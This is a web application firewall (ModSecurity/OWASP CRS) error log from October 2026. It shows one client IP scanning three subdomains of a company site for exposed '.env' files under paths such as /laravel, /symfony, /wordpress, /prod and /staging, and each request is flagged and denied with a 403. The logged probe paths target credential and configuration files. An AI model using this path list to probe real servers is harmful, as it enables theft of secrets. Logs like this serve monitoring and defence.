[Sun Oct 25 02:19:16.208649 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39gAAAAk"]
[Sun Oct 25 02:19:16.208889 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39gAAAAk"]
[Sun Oct 25 02:19:16.415845 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5AAAADk"]
[Sun Oct 25 02:19:16.416088 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5AAAADk"]
[Sun Oct 25 02:19:16.416415 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/html/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5AAAADk"]
[Sun Oct 25 02:19:16.458248 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39wAAAAk"]
[Sun Oct 25 02:19:16.458473 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39wAAAAk"]
[Sun Oct 25 02:19:16.458783 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZDaSD7UWGB8jzmt39wAAAAk"]
[Sun Oct 25 02:19:16.460608 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIgAAAAs"]
[Sun Oct 25 02:19:16.460770 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIgAAAAs"]
[Sun Oct 25 02:19:16.460982 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIgAAAAs"]
[Sun Oct 25 02:19:16.690808 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZDaSD7UWGB8jzmt3-AAAAAk"]
[Sun Oct 25 02:19:16.691053 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZDaSD7UWGB8jzmt3-AAAAAk"]
[Sun Oct 25 02:19:16.691379 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZDaSD7UWGB8jzmt3-AAAAAk"]
[Sun Oct 25 02:19:16.702004 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIwAAAAs"]
[Sun Oct 25 02:19:16.702155 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIwAAAAs"]
[Sun Oct 25 02:19:16.702369 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2fZHqPPT_6tJCMTRvuIwAAAAs"]
[Sun Oct 25 02:19:16.706393 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /live/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5QAAADk"]
[Sun Oct 25 02:19:16.706554 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5QAAADk"]
[Sun Oct 25 02:19:16.706815 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/live/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5QAAADk"]
[Sun Oct 25 02:19:16.950722 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5gAAADk"]
[Sun Oct 25 02:19:17.012885 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5gAAADk"]
[Sun Oct 25 02:19:17.013243 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/prod/.env"] [unique_id "at2fZGTNY6y0aXZ6joCb5gAAADk"]
[Sun Oct 25 02:19:17.014541 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-QAAAAk"]
[Sun Oct 25 02:19:17.014684 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-QAAAAk"]
[Sun Oct 25 02:19:17.014915 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-QAAAAk"]
[Sun Oct 25 02:19:17.010426 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJAAAAAs"]
[Sun Oct 25 02:19:17.040548 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJAAAAAs"]
[Sun Oct 25 02:19:17.040873 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJAAAAAs"]
[Sun Oct 25 02:19:17.267088 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJQAAAAs"]
[Sun Oct 25 02:19:17.267325 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJQAAAAs"]
[Sun Oct 25 02:19:17.267594 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJQAAAAs"]
[Sun Oct 25 02:19:17.300614 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb5wAAADk"]
[Sun Oct 25 02:19:17.300871 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb5wAAADk"]
[Sun Oct 25 02:19:17.301233 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.40.186.113:53630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at2fZWTNY6y0aXZ6joCb5wAAADk"]
[Sun Oct 25 02:19:17.302372 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-gAAAAk"]
[Sun Oct 25 02:19:17.302523 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-gAAAAk"]
[Sun Oct 25 02:19:17.302754 2026] [security2:error] [pid 2775708:tid 2775708] [client 34.40.186.113:53620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZTaSD7UWGB8jzmt3-gAAAAk"]
[Sun Oct 25 02:19:17.595378 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:53632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at2fZXqPPT_6tJCMTRvuJgAAAAs"]
